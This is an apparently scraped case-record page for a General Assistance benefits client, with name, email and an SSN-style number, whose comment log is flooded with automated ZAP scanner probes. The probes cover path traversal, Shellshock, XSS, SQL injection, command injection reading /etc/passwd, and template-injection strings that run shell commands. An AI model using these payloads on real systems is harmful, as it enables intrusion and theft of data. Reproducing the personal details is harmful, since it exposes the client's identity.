Case Record: Robert Ashworth

Personal Information

Full Name
Robert Ashworth
Email
robert.ashworth@example.org
Case ID
CASE-88619
Date of Birth
1968-01-30
SSN
321-54-9876
Program
General Assistance

Status

Case Status
active
Monthly Benefit Amount
156

API Access

JSON: /api/records/4

Benefit Issuance History

IDDescriptionStatusAmountPeriod
GA-2026-05General Assistance - Pending RedeterminationPending156May 2026

Comments & Notes

ZAP — 7/2/2026, 11:03:14 PM
c:/Windows/system.ini — 7/2/2026, 11:08:19 PM
../../../../../../../../../../../../../../../../Windows/system.ini — 7/2/2026, 11:08:19 PM
c:\Windows\system.ini — 7/2/2026, 11:08:19 PM
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini — 7/2/2026, 11:08:19 PM
/etc/passwd — 7/2/2026, 11:08:19 PM
../../../../../../../../../../../../../../../../etc/passwd — 7/2/2026, 11:08:19 PM
/ — 7/2/2026, 11:08:19 PM
../../../../../../../../../../../../../../../../ — 7/2/2026, 11:08:19 PM
c:/ — 7/2/2026, 11:08:19 PM
c:\ — 7/2/2026, 11:08:19 PM
WEB-INF/web.xml — 7/2/2026, 11:08:19 PM
WEB-INF\web.xml — 7/2/2026, 11:08:19 PM
/WEB-INF/web.xml — 7/2/2026, 11:08:19 PM
\WEB-INF\web.xml — 7/2/2026, 11:08:19 PM
thishouldnotexistandhopefullyitwillnot — 7/2/2026, 11:08:19 PM
ZAP — 7/2/2026, 11:08:19 PM
c:/Windows/system.ini
ZAP — 7/2/2026, 11:08:19 PM
../../../../../../../../../../../../../../../../Windows/system.ini
ZAP — 7/2/2026, 11:08:19 PM
c:\Windows\system.ini
ZAP — 7/2/2026, 11:08:19 PM
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system.ini
ZAP — 7/2/2026, 11:08:19 PM
/etc/passwd
ZAP — 7/2/2026, 11:08:19 PM
../../../../../../../../../../../../../../../../etc/passwd
ZAP — 7/2/2026, 11:08:19 PM
/
ZAP — 7/2/2026, 11:08:19 PM
../../../../../../../../../../../../../../../../
ZAP — 7/2/2026, 11:08:19 PM
c:/
ZAP — 7/2/2026, 11:08:20 PM
c:\
ZAP — 7/2/2026, 11:08:20 PM
WEB-INF/web.xml
ZAP — 7/2/2026, 11:08:20 PM
WEB-INF\web.xml
ZAP — 7/2/2026, 11:08:20 PM
/WEB-INF/web.xml
ZAP — 7/2/2026, 11:08:20 PM
\WEB-INF\web.xml
ZAP — 7/2/2026, 11:08:20 PM
thishouldnotexistandhopefullyitwillnot
http://www.google.com/ — 7/2/2026, 11:08:24 PM
http://www.google.com:80/ — 7/2/2026, 11:08:24 PM
http://www.google.com — 7/2/2026, 11:08:24 PM
http://www.google.com/search?q=ZAP — 7/2/2026, 11:08:24 PM
http://www.google.com:80/search?q=ZAP — 7/2/2026, 11:08:24 PM
www.google.com/ — 7/2/2026, 11:08:24 PM
www.google.com:80/ — 7/2/2026, 11:08:24 PM
www.google.com — 7/2/2026, 11:08:24 PM
www.google.com/search?q=ZAP — 7/2/2026, 11:08:24 PM
www.google.com:80/search?q=ZAP — 7/2/2026, 11:08:24 PM
ZAP — 7/2/2026, 11:08:24 PM
http://www.google.com/
ZAP — 7/2/2026, 11:08:24 PM
http://www.google.com:80/
ZAP — 7/2/2026, 11:08:24 PM
http://www.google.com
ZAP — 7/2/2026, 11:08:24 PM
http://www.google.com/search?q=ZAP
ZAP — 7/2/2026, 11:08:24 PM
http://www.google.com:80/search?q=ZAP
ZAP — 7/2/2026, 11:08:24 PM
www.google.com/
ZAP — 7/2/2026, 11:08:24 PM
www.google.com:80/
ZAP — 7/2/2026, 11:08:24 PM
www.google.com
ZAP — 7/2/2026, 11:08:24 PM
www.google.com/search?q=ZAP
ZAP — 7/2/2026, 11:08:24 PM
www.google.com:80/search?q=ZAP
() { :;}; echo 'x-powered-by: ShellShock-Vulnerable' — 7/2/2026, 11:08:29 PM
() { :;}; /bin/sleep 15 — 7/2/2026, 11:08:29 PM
ZAP — 7/2/2026, 11:08:29 PM
() { :;}; echo 'x-powered-by: ShellShock-Vulnerable'
ZAP — 7/2/2026, 11:08:29 PM
() { :;}; /bin/sleep 15
Anonymous — 7/2/2026, 11:08:42 PM
Anonymous — 7/2/2026, 11:08:42 PM
8342168875337364625.owasp.org — 7/2/2026, 11:08:46 PM
https://8342168875337364625.owasp.org — 7/2/2026, 11:08:47 PM
https://8342168875337364625%2eowasp%2eorg — 7/2/2026, 11:08:47 PM
5;URL='https://8342168875337364625.owasp.org' — 7/2/2026, 11:08:47 PM
URL='http://8342168875337364625.owasp.org' — 7/2/2026, 11:08:47 PM
https://8342168875337364625.owasp.org/?ZAP — 7/2/2026, 11:08:47 PM
5;URL='https://8342168875337364625.owasp.org/?ZAP' — 7/2/2026, 11:08:47 PM
https://\8342168875337364625.owasp.org — 7/2/2026, 11:08:47 PM
http://\8342168875337364625.owasp.org — 7/2/2026, 11:08:47 PM
ZAP — 7/2/2026, 11:08:47 PM
8342168875337364625.owasp.org
ZAP — 7/2/2026, 11:08:47 PM
https://8342168875337364625.owasp.org
ZAP — 7/2/2026, 11:08:47 PM
https://8342168875337364625%2eowasp%2eorg
ZAP — 7/2/2026, 11:08:47 PM
5;URL='https://8342168875337364625.owasp.org'
ZAP — 7/2/2026, 11:08:47 PM
URL='http://8342168875337364625.owasp.org'
ZAP — 7/2/2026, 11:08:47 PM
https://8342168875337364625.owasp.org/?
ZAP — 7/2/2026, 11:08:47 PM
5;URL='https://8342168875337364625.owasp.org/?'
ZAP — 7/2/2026, 11:08:47 PM
https://\8342168875337364625.owasp.org
ZAP — 7/2/2026, 11:08:47 PM
http://\8342168875337364625.owasp.org
<!--#EXEC cmd="ls /"--> — 7/2/2026, 11:08:51 PM
"><!--#EXEC cmd="ls /"-->< — 7/2/2026, 11:08:51 PM
<!--#EXEC cmd="dir \"--> — 7/2/2026, 11:08:51 PM
"><!--#EXEC cmd="dir \"-->< — 7/2/2026, 11:08:51 PM
ZAP — 7/2/2026, 11:08:51 PM
ZAP — 7/2/2026, 11:08:51 PM
"><
ZAP — 7/2/2026, 11:08:51 PM
ZAP — 7/2/2026, 11:08:51 PM
"><
0W45pz4p — 7/2/2026, 11:08:56 PM
</strong><scrIpt>alert(1);</scRipt><strong> — 7/2/2026, 11:08:56 PM
</strong><scrIpt>alert(1);</scRipt><strong> — 7/2/2026, 11:08:56 PM
</strong><img src=x onerror=prompt()><strong> — 7/2/2026, 11:08:56 PM
<img src=x onerror=prompt()> — 7/2/2026, 11:08:56 PM
＜img src=x onerror=prompt()＞ — 7/2/2026, 11:08:56 PM
zApPX13sS — 7/2/2026, 11:08:57 PM
ZAP — 7/2/2026, 11:08:57 PM
zApPX15sS
ZAP — 7/2/2026, 11:09:01 PM
' — 7/2/2026, 11:09:08 PM
ZAP' — 7/2/2026, 11:09:08 PM
" — 7/2/2026, 11:09:08 PM
ZAP" — 7/2/2026, 11:09:08 PM
; — 7/2/2026, 11:09:08 PM
ZAP; — 7/2/2026, 11:09:08 PM
'( — 7/2/2026, 11:09:08 PM
ZAP'( — 7/2/2026, 11:09:08 PM
ZAP — 7/2/2026, 11:09:08 PM
ZAP — 7/2/2026, 11:09:08 PM
ZAP AND 1=1 -- — 7/2/2026, 11:09:08 PM
ZAP AND 1=2 -- — 7/2/2026, 11:09:08 PM
ZAP OR 1=1 -- — 7/2/2026, 11:09:08 PM
ZAP' AND '1'='1' -- — 7/2/2026, 11:09:08 PM
ZAP' AND '1'='2' -- — 7/2/2026, 11:09:08 PM
ZAP' OR '1'='1' -- — 7/2/2026, 11:09:08 PM
ZAP UNION ALL select NULL -- — 7/2/2026, 11:09:08 PM
ZAP' UNION ALL select NULL -- — 7/2/2026, 11:09:08 PM
ZAP" UNION ALL select NULL -- — 7/2/2026, 11:09:08 PM
ZAP) UNION ALL select NULL -- — 7/2/2026, 11:09:08 PM
ZAP') UNION ALL select NULL -- — 7/2/2026, 11:09:08 PM
ZAP — 7/2/2026, 11:09:08 PM
ZAP — 7/2/2026, 11:09:08 PM
'
ZAP — 7/2/2026, 11:09:08 PM
'
ZAP — 7/2/2026, 11:09:08 PM
"
ZAP — 7/2/2026, 11:09:08 PM
"
ZAP — 7/2/2026, 11:09:08 PM
;
ZAP — 7/2/2026, 11:09:08 PM
;
ZAP — 7/2/2026, 11:09:08 PM
'(
ZAP — 7/2/2026, 11:09:08 PM
'(
ZAP — 7/2/2026, 11:09:08 PM
ZAP — 7/2/2026, 11:09:08 PM
ZAP — 7/2/2026, 11:09:08 PM
AND 1=1 --
ZAP — 7/2/2026, 11:09:08 PM
AND 1=2 --
ZAP — 7/2/2026, 11:09:08 PM
OR 1=1 --
ZAP — 7/2/2026, 11:09:08 PM
' AND '1'='1' --
ZAP — 7/2/2026, 11:09:08 PM
' AND '1'='2' --
ZAP — 7/2/2026, 11:09:08 PM
' OR '1'='1' --
ZAP — 7/2/2026, 11:09:08 PM
UNION ALL select NULL --
ZAP — 7/2/2026, 11:09:08 PM
' UNION ALL select NULL --
ZAP — 7/2/2026, 11:09:08 PM
" UNION ALL select NULL --
ZAP — 7/2/2026, 11:09:08 PM
) UNION ALL select NULL --
ZAP — 7/2/2026, 11:09:08 PM
') UNION ALL select NULL --
ZAP — 7/2/2026, 11:09:08 PM
ZAP / sleep(15) — 7/2/2026, 11:09:13 PM
ZAP' / sleep(15) / ' — 7/2/2026, 11:09:13 PM
ZAP" / sleep(15) / " — 7/2/2026, 11:09:13 PM
ZAP and 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP' and 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP" and 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP where 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP' where 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP" where 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:13 PM
ZAP or 0 in (select sleep(15) ) -- — 7/2/2026, 11:09:14 PM
ZAP — 7/2/2026, 11:09:14 PM
/ sleep(15)
ZAP — 7/2/2026, 11:09:14 PM
' / sleep(15) / '
ZAP — 7/2/2026, 11:09:14 PM
" / sleep(15) / "
ZAP — 7/2/2026, 11:09:14 PM
and 0 in (select sleep(15) ) --
ZAP — 7/2/2026, 11:09:14 PM
' and 0 in (select sleep(15) ) --
ZAP — 7/2/2026, 11:09:14 PM
" and 0 in (select sleep(15) ) --
ZAP — 7/2/2026, 11:09:14 PM
where 0 in (select sleep(15) ) --
ZAP — 7/2/2026, 11:09:14 PM
' where 0 in (select sleep(15) ) --
ZAP — 7/2/2026, 11:09:14 PM
" where 0 in (select sleep(15) ) --
ZAP — 7/2/2026, 11:09:14 PM
or 0 in (select sleep(15) ) --
; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 7/2/2026, 11:09:18 PM
'; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 7/2/2026, 11:09:18 PM
"; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 7/2/2026, 11:09:18 PM
); select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' -- — 7/2/2026, 11:09:18 PM
"java.lang.Thread.sleep"(15000) — 7/2/2026, 11:09:18 PM
ZAP / "java.lang.Thread.sleep"(15000) — 7/2/2026, 11:09:18 PM
ZAP' / "java.lang.Thread.sleep"(15000) / ' — 7/2/2026, 11:09:18 PM
ZAP" / "java.lang.Thread.sleep"(15000) / " — 7/2/2026, 11:09:18 PM
ZAP and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') -- — 7/2/2026, 11:09:18 PM
ZAP' and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') -- — 7/2/2026, 11:09:18 PM
ZAP — 7/2/2026, 11:09:18 PM
; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 7/2/2026, 11:09:18 PM
'; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 7/2/2026, 11:09:18 PM
"; select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 7/2/2026, 11:09:18 PM
); select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME' --
ZAP — 7/2/2026, 11:09:18 PM
"java.lang.Thread.sleep"(15000)
ZAP — 7/2/2026, 11:09:18 PM
/ "java.lang.Thread.sleep"(15000)
ZAP — 7/2/2026, 11:09:18 PM
' / "java.lang.Thread.sleep"(15000) / '
ZAP — 7/2/2026, 11:09:18 PM
" / "java.lang.Thread.sleep"(15000) / "
ZAP — 7/2/2026, 11:09:18 PM
and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --
ZAP — 7/2/2026, 11:09:18 PM
' and exists ( select "java.lang.Thread.sleep"(15000) from INFORMATION_SCHEMA.SYSTEM_COLUMNS where TABLE_NAME = 'SYSTEM_COLUMNS' and COLUMN_NAME = 'TABLE_NAME') --
(DBMS_SESSION.SLEEP(15)) — 7/2/2026, 11:09:22 PM
ZAP / (DBMS_SESSION.SLEEP(15)) — 7/2/2026, 11:09:22 PM
ZAP' / (DBMS_SESSION.SLEEP(15)) / ' — 7/2/2026, 11:09:22 PM
ZAP" / (DBMS_SESSION.SLEEP(15)) / " — 7/2/2026, 11:09:22 PM
ZAP and exists (DBMS_SESSION.SLEEP(15)) -- — 7/2/2026, 11:09:22 PM
ZAP — 7/2/2026, 11:09:22 PM
(DBMS_SESSION.SLEEP(15))
ZAP — 7/2/2026, 11:09:22 PM
/ (DBMS_SESSION.SLEEP(15))
ZAP — 7/2/2026, 11:09:22 PM
' / (DBMS_SESSION.SLEEP(15)) / '
ZAP — 7/2/2026, 11:09:22 PM
" / (DBMS_SESSION.SLEEP(15)) / "
ZAP — 7/2/2026, 11:09:22 PM
and exists (DBMS_SESSION.SLEEP(15)) --
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end — 7/2/2026, 11:09:26 PM
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end -- — 7/2/2026, 11:09:26 PM
'case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end -- — 7/2/2026, 11:09:26 PM
"case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end -- — 7/2/2026, 11:09:26 PM
ZAP / case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end — 7/2/2026, 11:09:26 PM
ZAP — 7/2/2026, 11:09:26 PM
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
ZAP — 7/2/2026, 11:09:26 PM
case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
ZAP — 7/2/2026, 11:09:26 PM
'case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
ZAP — 7/2/2026, 11:09:26 PM
"case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --
ZAP — 7/2/2026, 11:09:26 PM
/ case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end
ZAP WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP' WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP" WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP) WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP) ' WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP) " WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP)) WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP)) ' WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP)) " WAITFOR DELAY '0:0:15' -- — 7/2/2026, 11:09:30 PM
ZAP) WAITFOR DELAY '0:0:15' ( — 7/2/2026, 11:09:30 PM
ZAP — 7/2/2026, 11:09:30 PM
WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
' WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
" WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
) WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
) ' WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
) " WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
)) WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
)) ' WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
)) " WAITFOR DELAY '0:0:15' --
ZAP — 7/2/2026, 11:09:30 PM
) WAITFOR DELAY '0:0:15' (
ZAP — 7/2/2026, 11:09:34 PM
";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var=" — 7/2/2026, 11:09:39 PM
';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var=' — 7/2/2026, 11:09:39 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))} — 7/2/2026, 11:09:39 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\ — 7/2/2026, 11:09:39 PM
;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110)); — 7/2/2026, 11:09:39 PM
"+response.write(708,826*80,240)+" — 7/2/2026, 11:09:39 PM
+response.write({0}*{1})+ — 7/2/2026, 11:09:39 PM
response.write(708,826*80,240) — 7/2/2026, 11:09:39 PM
ZAP — 7/2/2026, 11:09:39 PM
";print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var="
ZAP — 7/2/2026, 11:09:39 PM
';print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));$var='
ZAP — 7/2/2026, 11:09:39 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}
ZAP — 7/2/2026, 11:09:39 PM
${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}\
ZAP — 7/2/2026, 11:09:39 PM
;print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110));
ZAP — 7/2/2026, 11:09:39 PM
"+response.write(211,550*617,615)+"
ZAP — 7/2/2026, 11:09:39 PM
+response.write({0}*{1})+
ZAP — 7/2/2026, 11:09:39 PM
response.write(211,550*617,615)
cat /etc/passwd — 7/2/2026, 11:09:43 PM
ZAP&cat /etc/passwd& — 7/2/2026, 11:09:43 PM
ZAP;cat /etc/passwd; — 7/2/2026, 11:09:43 PM
ZAP"&cat /etc/passwd&" — 7/2/2026, 11:09:43 PM
ZAP";cat /etc/passwd;" — 7/2/2026, 11:09:43 PM
ZAP'&cat /etc/passwd&' — 7/2/2026, 11:09:43 PM
ZAP';cat /etc/passwd;' — 7/2/2026, 11:09:43 PM
type %SYSTEMROOT%\win.ini — 7/2/2026, 11:09:43 PM
ZAP&type %SYSTEMROOT%\win.ini — 7/2/2026, 11:09:43 PM
ZAP|type %SYSTEMROOT%\win.ini — 7/2/2026, 11:09:43 PM
ZAP"&type %SYSTEMROOT%\win.ini&" — 7/2/2026, 11:09:44 PM
ZAP"|type %SYSTEMROOT%\win.ini — 7/2/2026, 11:09:44 PM
ZAP'&type %SYSTEMROOT%\win.ini&' — 7/2/2026, 11:09:44 PM
ZAP'|type %SYSTEMROOT%\win.ini — 7/2/2026, 11:09:44 PM
get-help — 7/2/2026, 11:09:44 PM
ZAP;get-help — 7/2/2026, 11:09:44 PM
ZAP";get-help — 7/2/2026, 11:09:44 PM
ZAP';get-help — 7/2/2026, 11:09:44 PM
ZAP;get-help # — 7/2/2026, 11:09:44 PM
ZAP — 7/2/2026, 11:09:44 PM
cat /etc/passwd
ZAP — 7/2/2026, 11:09:44 PM
&cat /etc/passwd&
ZAP — 7/2/2026, 11:09:44 PM
;cat /etc/passwd;
ZAP — 7/2/2026, 11:09:44 PM
"&cat /etc/passwd&"
ZAP — 7/2/2026, 11:09:44 PM
";cat /etc/passwd;"
ZAP — 7/2/2026, 11:09:44 PM
'&cat /etc/passwd&'
ZAP — 7/2/2026, 11:09:44 PM
';cat /etc/passwd;'
ZAP — 7/2/2026, 11:09:44 PM
type %SYSTEMROOT%\win.ini
ZAP — 7/2/2026, 11:09:44 PM
&type %SYSTEMROOT%\win.ini
ZAP — 7/2/2026, 11:09:44 PM
|type %SYSTEMROOT%\win.ini
ZAP — 7/2/2026, 11:09:44 PM
"&type %SYSTEMROOT%\win.ini&"
ZAP — 7/2/2026, 11:09:44 PM
"|type %SYSTEMROOT%\win.ini
ZAP — 7/2/2026, 11:09:44 PM
'&type %SYSTEMROOT%\win.ini&'
ZAP — 7/2/2026, 11:09:44 PM
'|type %SYSTEMROOT%\win.ini
ZAP — 7/2/2026, 11:09:44 PM
get-help
ZAP — 7/2/2026, 11:09:44 PM
;get-help
ZAP — 7/2/2026, 11:09:44 PM
";get-help
ZAP — 7/2/2026, 11:09:44 PM
';get-help
ZAP — 7/2/2026, 11:09:44 PM
;get-help #
"' — 7/2/2026, 11:09:45 PM
<!-- — 7/2/2026, 11:09:45 PM
]]> — 7/2/2026, 11:09:45 PM
ZAP — 7/2/2026, 11:09:45 PM
"'
ZAP — 7/2/2026, 11:09:45 PM
]]>
zj 4491*5283 zj — 7/2/2026, 11:09:56 PM
zj{5683*5506}zj — 7/2/2026, 11:09:56 PM
zj${2912*1226}zj — 7/2/2026, 11:09:56 PM
zj#{7713*3930}zj — 7/2/2026, 11:09:56 PM
zj{#6379*7109}zj — 7/2/2026, 11:09:56 PM
zj{@7705*8052}zj — 7/2/2026, 11:09:57 PM
zj{{4923*9127}}zj — 7/2/2026, 11:09:57 PM
zj{{=8087*1833}}zj — 7/2/2026, 11:09:57 PM
zj<%=7372*7021%>zj — 7/2/2026, 11:09:57 PM
zj#set($x=6497*1289)${x}zj — 7/2/2026, 11:09:57 PM
zj<p th:text="${1333*9197}"></p>zj — 7/2/2026, 11:09:57 PM
zj{@math key="7452" method="multiply" operand="8184"/}zj — 7/2/2026, 11:09:57 PM
zj{{72060|add:74950}}zj — 7/2/2026, 11:09:57 PM
zj{{print "8735" "7451"}}zj — 7/2/2026, 11:09:57 PM
ZAP — 7/2/2026, 11:09:57 PM
zj 7861*6171 zj
ZAP — 7/2/2026, 11:09:57 PM
zj{3374*3734}zj
ZAP — 7/2/2026, 11:09:57 PM
zj${1885*1328}zj
ZAP — 7/2/2026, 11:09:57 PM
zj#{8450*2474}zj
ZAP — 7/2/2026, 11:09:57 PM
zj{#7072*2572}zj
ZAP — 7/2/2026, 11:09:57 PM
zj{@6440*5586}zj
ZAP — 7/2/2026, 11:09:57 PM
zj{{2076*8645}}zj
ZAP — 7/2/2026, 11:09:57 PM
zj{{=5589*3263}}zj
ZAP — 7/2/2026, 11:09:58 PM
zj<%=6358*7825%>zj
ZAP — 7/2/2026, 11:09:58 PM
zj#set($x=9800*8430)${x}zj
ZAP — 7/2/2026, 11:09:58 PM
zj

zj
ZAP — 7/2/2026, 11:09:58 PM
zj{@math key="2688" method="multiply" operand="3908"/}zj
ZAP — 7/2/2026, 11:09:58 PM
zj{{23210|add:28610}}zj
ZAP — 7/2/2026, 11:09:58 PM
zj{{print "5947" "1574"}}zj
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 15") } — 7/2/2026, 11:10:03 PM
#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 15")) #set($null=$proc.waitFor()) ${null} — 7/2/2026, 11:10:03 PM
{{= global.process.mainModule.require('child_process').execSync('sleep 15').toString() }} — 7/2/2026, 11:10:03 PM
<%= global.process.mainModule.require('child_process').execSync('sleep 15').toString()%> — 7/2/2026, 11:10:03 PM
#{global.process.mainModule.require('child_process').execSync('sleep 15').toString()} — 7/2/2026, 11:10:03 PM
{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 15').toString()\")")()}} — 7/2/2026, 11:10:03 PM
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 15")}} — 7/2/2026, 11:10:03 PM
${__import__("subprocess").check_output("sleep 15", shell=True)} — 7/2/2026, 11:10:03 PM
{{__import__("subprocess").check_output("sleep 15", shell=True)}} — 7/2/2026, 11:10:03 PM
<%=%x(sleep 15)%> — 7/2/2026, 11:10:03 PM
#{%x(sleep 15)} — 7/2/2026, 11:10:03 PM
{system("sleep 15")} — 7/2/2026, 11:10:03 PM
ZAP — 7/2/2026, 11:10:03 PM
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 15") }
ZAP — 7/2/2026, 11:10:03 PM
#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 15")) #set($null=$proc.waitFor()) ${null}
ZAP — 7/2/2026, 11:10:03 PM
{{= global.process.mainModule.require('child_process').execSync('sleep 15').toString() }}
ZAP — 7/2/2026, 11:10:03 PM
<%= global.process.mainModule.require('child_process').execSync('sleep 15').toString()%>
ZAP — 7/2/2026, 11:10:03 PM
#{global.process.mainModule.require('child_process').execSync('sleep 15').toString()}
ZAP — 7/2/2026, 11:10:03 PM
{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 15').toString()\")")()}}
ZAP — 7/2/2026, 11:10:03 PM
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 15")}}
ZAP — 7/2/2026, 11:10:03 PM
${__import__("subprocess").check_output("sleep 15", shell=True)}
ZAP — 7/2/2026, 11:10:03 PM
{{__import__("subprocess").check_output("sleep 15", shell=True)}}
ZAP — 7/2/2026, 11:10:03 PM
<%=%x(sleep 15)%>
ZAP — 7/2/2026, 11:10:03 PM
#{%x(sleep 15)}
ZAP — 7/2/2026, 11:10:03 PM
{system("sleep 15")}
ZAP&sleep 15.0& — 7/2/2026, 11:10:09 PM
ZAP;sleep 15.0; — 7/2/2026, 11:10:14 PM
ZAP"&sleep 15.0&" — 7/2/2026, 11:10:14 PM
ZAP'&sleep 15.0&' — 7/2/2026, 11:10:19 PM
ZAP';sleep 15.0;' — 7/2/2026, 11:10:19 PM
ZAP&timeout /T 15.0 — 7/2/2026, 11:10:19 PM
ZAP|timeout /T 15.0 — 7/2/2026, 11:10:19 PM
ZAP"&timeout /T 15.0&" — 7/2/2026, 11:10:19 PM
ZAP"|timeout /T 15.0 — 7/2/2026, 11:10:19 PM
ZAP'&timeout /T 15.0&' — 7/2/2026, 11:10:19 PM
ZAP'|timeout /T 15.0 — 7/2/2026, 11:10:19 PM
ZAP;start-sleep -s 15.0 — 7/2/2026, 11:10:19 PM
ZAP";start-sleep -s 15.0 — 7/2/2026, 11:10:19 PM
ZAP';start-sleep -s 15.0 — 7/2/2026, 11:10:19 PM
ZAP;start-sleep -s 15.0 # — 7/2/2026, 11:10:19 PM
ZAP — 7/2/2026, 11:10:19 PM
&sleep 15.0&
ZAP — 7/2/2026, 11:10:19 PM
;sleep 15.0;
ZAP — 7/2/2026, 11:10:19 PM
"&sleep 15.0&"
ZAP — 7/2/2026, 11:10:19 PM
";sleep 15.0;"
ZAP — 7/2/2026, 11:10:19 PM
'&sleep 15.0&'
ZAP — 7/2/2026, 11:10:24 PM
';sleep 15.0;'
ZAP — 7/2/2026, 11:10:29 PM
&timeout /T 15.0
ZAP — 7/2/2026, 11:10:29 PM
|timeout /T 15.0
ZAP — 7/2/2026, 11:10:29 PM
"&timeout /T 15.0&"
ZAP — 7/2/2026, 11:10:29 PM
"|timeout /T 15.0
ZAP — 7/2/2026, 11:10:29 PM
'&timeout /T 15.0&'
ZAP — 7/2/2026, 11:10:29 PM
'|timeout /T 15.0
ZAP — 7/2/2026, 11:10:29 PM
;start-sleep -s 15.0
ZAP — 7/2/2026, 11:10:29 PM
";start-sleep -s 15.0
ZAP — 7/2/2026, 11:10:29 PM
';start-sleep -s 15.0
ZAP — 7/2/2026, 11:10:29 PM
;start-sleep -s 15.0 #
